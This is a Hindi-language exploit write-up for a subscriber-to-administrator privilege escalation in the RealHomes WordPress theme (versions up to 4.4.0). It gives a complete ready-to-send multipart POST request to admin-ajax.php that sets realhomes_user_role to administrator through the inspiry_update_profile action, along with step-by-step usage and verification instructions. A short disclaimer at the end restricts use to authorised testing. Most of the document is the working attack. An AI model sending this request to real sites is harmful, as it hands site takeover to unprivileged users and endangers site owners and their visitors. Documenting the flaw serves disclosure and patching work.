
RH - Real Estate WordPress Theme <= 4.4.0 - प्रमाणीकृत (Subscriber+) विशेषाधिकार वृद्धि
🔥 कमजोरी का सारांश
वर्डप्रेस थीम RealHomes के संस्करण <= 4.4.0 में विशेषाधिकार वृद्धि की कमजोरी है। यह प्रमाणित उपयोगकर्ताओं को कम विशेषाधिकारों (जैसे सब्सक्राइबर) के साथ अपनी भूमिका को प्रशासकों तक बढ़ाने की अनुमति देता है। यह कमजोरी inspiry_update_profile फ़ंक्शन के माध्यम से होती है, जो अनुचित रूप से उपयोगकर्ताओं को अपनी भूमिका बदलने की अनुमति देता है यदि ere_allow_users_change_role विकल्प सक्षम है।
इस समस्या का शोषण करने के लिए admin-ajax.php एंडपॉइंट पर एक विशेष रूप से तैयार POST अनुरोध भेजा जा सकता है, जिसमें realhomes_user_role पैरामीटर को administrator पर सेट किया जाता है।
🔍 प्रभावित थीम
🧪 शोषण सुविधाएँ
realhomes_user_role पैरामीटर के माध्यम से administrator तक बढ़ाता है।🧠 शोधकर्ता
🚀 उपयोग
लक्ष्य वेबसाइट पर लॉगिन करें एक कम-विशेषाधिकार वाले उपयोगकर्ता के रूप में (जैसे, सब्सक्राइबर)।
/wp-admin/admin-ajax.php एंडपॉइंट तक निम्नलिखित POST डेटा के साथ पहुंचें, जिसमें realhomes_user_role को administrator पर सेट किया गया है:
POST /wp-admin/admin-ajax.php HTTP/2
Host: targetsite.com
Cookie: wordpress_logged_in_xxx=...
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryNGw1yuikHiYVYYsr
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="first-name"
test
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="last-name"
user
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="realhomes_user_role"
administrator
------WebKitFormBoundaryNGw1yuikHiYVYYsr
Content-Disposition: form-data; name="action"
inspiry_update_profile
------WebKitFormBoundaryNGw1yuikHiYVYYsr--
प्रतिक्रिया जांचें: यदि अनुरोध सफल होता है, तो हमलावर को प्रशासनिक पहुंच प्राप्त हो जाएगी।
/wp-admin/ पृष्ठ तक पहुंच कर सत्यापित करें कि हमलावर को प्रशासक विशेषाधिकार प्रदान किए गए हैं या नहीं।
🔒 अस्वीकरण: यह केवल शैक्षिक उद्देश्यों के लिए है और केवल उन सिस्टमों पर उपयोग किया जाना चाहिए जिनके आप स्वामी हैं या जिनका परीक्षण करने के लिए आपको स्पष्ट रूप से अधिकृत किया गया है। इस कोड का दुरुपयोग कानूनी परिणामों का कारण बन सकता है।